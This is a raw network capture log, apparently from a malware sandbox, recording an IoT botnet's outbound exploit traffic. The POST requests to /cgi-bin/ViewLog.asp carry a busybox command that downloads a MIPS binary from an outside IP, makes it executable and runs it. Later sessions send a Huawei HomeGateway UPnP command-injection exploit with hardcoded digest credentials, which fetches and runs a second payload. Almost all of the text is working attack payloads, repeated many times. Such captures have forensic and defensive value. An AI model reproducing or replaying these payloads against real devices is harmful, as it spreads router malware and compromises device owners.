                                                Nov 23, 2023 05:22:53.143630981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.184201956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.328058958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.359699965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                766192.168.2.154305695.224.125.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.173732996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.398215055 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
                                                Nov 23, 2023 05:22:54.056581020 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                767192.168.2.154053694.121.145.1718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.183300018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                768192.168.2.153372894.122.2.1628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.183624029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                769192.168.2.155959294.122.3.2558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.375768900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                770192.168.2.154364031.136.91.928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.392915964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.440201998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.584017038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.615715981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                771192.168.2.154272031.136.222.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.397147894 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.440185070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.584029913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.615700006 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                772192.168.2.154210494.112.135.928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.401722908 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                773192.168.2.155104685.255.165.1738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.420173883 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                774192.168.2.154462231.200.40.808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.432641029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                775192.168.2.1557644156.241.121.9537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.632486105 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:57.720175982 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
